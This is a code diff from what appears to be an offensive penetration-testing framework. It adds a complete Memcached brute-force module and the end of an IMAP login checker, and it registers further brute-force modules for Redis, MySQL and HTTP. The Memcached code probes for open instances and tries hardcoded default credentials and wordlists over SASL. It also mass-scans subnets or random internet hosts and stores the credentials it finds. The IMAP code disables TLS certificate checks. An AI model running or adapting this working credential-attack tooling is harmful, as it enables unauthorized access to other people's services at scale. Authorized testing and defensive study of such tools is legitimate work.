let login_cmd = format!("A001 LOGIN \"{}\" \"{}\"\r\n", escaped_user, escaped_pass);
|
||||
|
||||
if use_tls {
|
||||
let connector = TlsConnector::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut stream = connector.connect(target, stream).map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
let _ = stream.write_all(b"A002 LOGOUT\r\n");
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
} else {
|
||||
// Plaintext IMAP connection
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
let _ = stream.write_all(b"A002 LOGOUT\r\n");
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,714 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_MEMCACHED_PORT: u16 = 11211;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Memcached binary protocol constants
|
||||
const BINARY_MAGIC_REQUEST: u8 = 0x80;
|
||||
const BINARY_MAGIC_RESPONSE: u8 = 0x81;
|
||||
const OPCODE_SASL_AUTH: u8 = 0x21;
|
||||
const SASL_STATUS_SUCCESS: u16 = 0x0000;
|
||||
const SASL_STATUS_AUTH_ERROR: u16 = 0x0020;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("memcached", "memcached"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
("memcache", "memcache"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Memcached Brute Force".to_string(),
|
||||
description: "Detect open Memcached instances and brute-force SASL authentication. \
|
||||
First checks for unauthenticated access (text protocol version/stats commands), \
|
||||
then attempts SASL PLAIN auth over the binary protocol. Supports default credential \
|
||||
testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Memcached Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Open Instance Detection + SASL Auth Testing (11211) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Memcached",
|
||||
default_port: 11211,
|
||||
state_file: "memcached_hose_state.log",
|
||||
default_output: "memcached_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let connect_timeout = Duration::from_secs(5);
|
||||
let read_timeout = Duration::from_secs(3);
|
||||
|
||||
// Try to connect and send version command
|
||||
let mut stream = match timeout(connect_timeout, TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
// Send text protocol version command
|
||||
if timeout(connect_timeout, stream.write_all(b"version\r\n"))
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 1024];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
_ => return None,
|
||||
};
|
||||
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
|
||||
if response.contains("VERSION") {
|
||||
// Open Memcached instance (no auth)
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"memcached",
|
||||
"(open)",
|
||||
"(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_bruteforce",
|
||||
)
|
||||
.await;
|
||||
return Some(format!(
|
||||
"[{}] {}:{} Memcached OPEN (no auth) - {}\n",
|
||||
ts,
|
||||
ip,
|
||||
port,
|
||||
response.trim()
|
||||
));
|
||||
}
|
||||
|
||||
if response.contains("ERROR") {
|
||||
// Might need SASL auth — try default creds via binary protocol
|
||||
let creds = [
|
||||
("admin", "admin"),
|
||||
("memcached", "memcached"),
|
||||
("admin", "password"),
|
||||
("root", "root"),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
// Need a fresh connection for each SASL attempt
|
||||
if let Ok(result) =
|
||||
try_memcached_sasl(&addr, user, pass, connect_timeout, read_timeout)
|
||||
.await
|
||||
{
|
||||
if result {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"memcached",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_bruteforce",
|
||||
)
|
||||
.await;
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 =
|
||||
cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"memcached_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
let connect_timeout = Duration::from_millis(timeout_secs * 1000);
|
||||
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "memcached",
|
||||
source_module: "creds/generic/memcached_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let ct = connect_timeout;
|
||||
let rt = read_timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_memcached_sasl(&addr, &user, &pass, ct, rt).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "Memcached Port", DEFAULT_MEMCACHED_PORT).await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
// First, check if the instance is open (unauthenticated)
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Checking {} for unauthenticated access...", connect_addr).cyan()
|
||||
);
|
||||
|
||||
let connect_timeout = Duration::from_millis(CONNECT_TIMEOUT_MS);
|
||||
let read_timeout = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
match check_memcached_open(&connect_addr, connect_timeout, read_timeout).await {
|
||||
MemcachedStatus::Open(version) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] Memcached at {} is OPEN (no authentication required)!",
|
||||
connect_addr
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
crate::mprintln!("{}", format!("[+] Version: {}", version).green());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[!] WARNING: This Memcached instance is publicly accessible without auth."
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&normalized,
|
||||
port,
|
||||
"memcached",
|
||||
"(open)",
|
||||
"(no auth)",
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/memcached_bruteforce",
|
||||
)
|
||||
.await;
|
||||
|
||||
let continue_brute =
|
||||
cfg_prompt_yes_no("continue_bruteforce", "Continue with SASL brute-force anyway?", false).await?;
|
||||
if !continue_brute {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
MemcachedStatus::AuthRequired => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Memcached requires SASL authentication. Proceeding with brute-force.".cyan()
|
||||
);
|
||||
}
|
||||
MemcachedStatus::Unreachable(err) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[!] Cannot connect to {}: {}", connect_addr, err).red()
|
||||
);
|
||||
let continue_anyway =
|
||||
cfg_prompt_yes_no("continue_anyway", "Continue anyway?", false).await?;
|
||||
if !continue_anyway {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "memcached_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let ct = Duration::from_secs(connection_timeout);
|
||||
let rt = Duration::from_millis(READ_TIMEOUT_MS);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let connect_t = ct;
|
||||
let read_t = rt;
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_memcached_sasl(&addr, &user, &pass, connect_t, read_t).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "memcached",
|
||||
source_module: "creds/generic/memcached_bruteforce",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Memcached responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "memcached_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Memcached Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Memcached protocol helpers
|
||||
// ============================================================================
|
||||
|
||||
enum MemcachedStatus {
|
||||
/// Instance is open (no auth), includes the version string.
|
||||
Open(String),
|
||||
/// Instance requires SASL authentication.
|
||||
AuthRequired,
|
||||
/// Cannot reach the instance.
|
||||
Unreachable(String),
|
||||
}
|
||||
|
||||
/// Check if a Memcached instance is open (no auth) or requires SASL.
|
||||
async fn check_memcached_open(
|
||||
addr: &str,
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> MemcachedStatus {
|
||||
let mut stream = match timeout(connect_timeout, TcpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return MemcachedStatus::Unreachable(e.to_string()),
|
||||
Err(_) => return MemcachedStatus::Unreachable("Connection timeout".to_string()),
|
||||
};
|
||||
|
||||
// Send text protocol "version" command
|
||||
if let Err(e) = timeout(connect_timeout, stream.write_all(b"version\r\n")).await {
|
||||
return MemcachedStatus::Unreachable(format!("Write error: {}", e));
|
||||
}
|
||||
|
||||
let mut buf = vec![0u8; 1024];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return MemcachedStatus::Unreachable("Empty response".to_string()),
|
||||
Ok(Err(e)) => return MemcachedStatus::Unreachable(format!("Read error: {}", e)),
|
||||
Err(_) => return MemcachedStatus::Unreachable("Read timeout".to_string()),
|
||||
};
|
||||
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
|
||||
if response.contains("VERSION") {
|
||||
MemcachedStatus::Open(response.trim().to_string())
|
||||
} else if response.contains("ERROR") {
|
||||
MemcachedStatus::AuthRequired
|
||||
} else {
|
||||
MemcachedStatus::Unreachable(format!("Unknown response: {}", response.trim()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Build a Memcached binary protocol SASL Auth request packet.
|
||||
///
|
||||
/// Binary protocol header (24 bytes):
|
||||
/// magic: 0x80 (request)
|
||||
/// opcode: 0x21 (SASL Auth)
|
||||
/// key_length: length of "PLAIN"
|
||||
/// extras_length: 0
|
||||
/// data_type: 0
|
||||
/// vbucket/status: 0
|
||||
/// total_body_length: key_len + value_len
|
||||
/// opaque: 0
|
||||
/// cas: 0
|
||||
/// key: "PLAIN"
|
||||
/// value: "\0username\0password"
|
||||
fn build_sasl_auth_packet(username: &str, password: &str) -> Vec<u8> {
|
||||
let mechanism = b"PLAIN";
|
||||
let key_len = mechanism.len() as u16;
|
||||
|
||||
// SASL PLAIN payload: \0username\0password
|
||||
let mut sasl_payload = Vec::new();
|
||||
sasl_payload.push(0x00);
|
||||
sasl_payload.extend_from_slice(username.as_bytes());
|
||||
sasl_payload.push(0x00);
|
||||
sasl_payload.extend_from_slice(password.as_bytes());
|
||||
|
||||
let value_len = sasl_payload.len();
|
||||
let total_body_len = (key_len as u32) + (value_len as u32);
|
||||
|
||||
let mut packet = Vec::with_capacity(24 + total_body_len as usize);
|
||||
|
||||
// Header (24 bytes)
|
||||
packet.push(BINARY_MAGIC_REQUEST); // magic
|
||||
packet.push(OPCODE_SASL_AUTH); // opcode
|
||||
packet.extend_from_slice(&key_len.to_be_bytes()); // key length
|
||||
packet.push(0x00); // extras length
|
||||
packet.push(0x00); // data type
|
||||
packet.extend_from_slice(&0u16.to_be_bytes()); // vbucket/status
|
||||
packet.extend_from_slice(&total_body_len.to_be_bytes()); // total body length
|
||||
packet.extend_from_slice(&0u32.to_be_bytes()); // opaque
|
||||
packet.extend_from_slice(&0u64.to_be_bytes()); // CAS
|
||||
|
||||
// Body
|
||||
packet.extend_from_slice(mechanism); // key: "PLAIN"
|
||||
packet.extend_from_slice(&sasl_payload); // value: \0user\0pass
|
||||
|
||||
packet
|
||||
}
|
||||
|
||||
/// Parse the status code from a Memcached binary protocol response.
|
||||
/// The status is at bytes 6-7 (big-endian u16) of the 24-byte header.
|
||||
fn parse_binary_response_status(response: &[u8]) -> Option<u16> {
|
||||
if response.len() < 24 {
|
||||
return None;
|
||||
}
|
||||
if response[0] != BINARY_MAGIC_RESPONSE {
|
||||
return None;
|
||||
}
|
||||
Some(u16::from_be_bytes([response[6], response[7]]))
|
||||
}
|
||||
|
||||
/// Attempt Memcached SASL PLAIN authentication over the binary protocol.
|
||||
///
|
||||
/// Opens a fresh TCP connection, sends a SASL Auth request with the PLAIN
|
||||
/// mechanism, and parses the binary response status.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — SASL authentication succeeded (status 0x0000)
|
||||
/// - `Ok(false)` — authentication rejected (status 0x0020)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_memcached_sasl(
|
||||
addr: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
connect_timeout: Duration,
|
||||
read_timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let mut stream = match timeout(connect_timeout, TcpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
return Err(anyhow!("Connection error: {}", err_str));
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let packet = build_sasl_auth_packet(username, password);
|
||||
|
||||
// Send the SASL auth packet
|
||||
match timeout(connect_timeout, stream.write_all(&packet)).await {
|
||||
Ok(Ok(())) => {}
|
||||
Ok(Err(e)) => return Err(anyhow!("Write error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Write timeout")),
|
||||
}
|
||||
|
||||
// Read the response (at least 24-byte header)
|
||||
let mut buf = vec![0u8; 256];
|
||||
let n = match timeout(read_timeout, stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n >= 24 => n,
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
return Err(anyhow!(
|
||||
"Incomplete binary response ({} bytes, need >= 24)",
|
||||
n
|
||||
));
|
||||
}
|
||||
Ok(Ok(_)) => return Err(anyhow!("Empty response from server")),
|
||||
Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
|
||||
match parse_binary_response_status(&buf[..n]) {
|
||||
Some(SASL_STATUS_SUCCESS) => Ok(true),
|
||||
Some(SASL_STATUS_AUTH_ERROR) => Ok(false),
|
||||
Some(status) => Err(anyhow!("Unexpected SASL response status: 0x{:04x}", status)),
|
||||
None => Err(anyhow!("Invalid binary protocol response")),
|
||||
}
|
||||
}
|
||||
@@ -7,7 +7,7 @@
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod ssh_spray;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rtsp_bruteforce;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
@@ -16,3 +16,12 @@
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod mqtt_bruteforce;
|
||||
pub mod http_basic_bruteforce;
|
||||
pub mod redis_bruteforce;
|
||||
pub mod imap_bruteforce;
|
||||
pub mod mysql_bruteforce;
|
||||
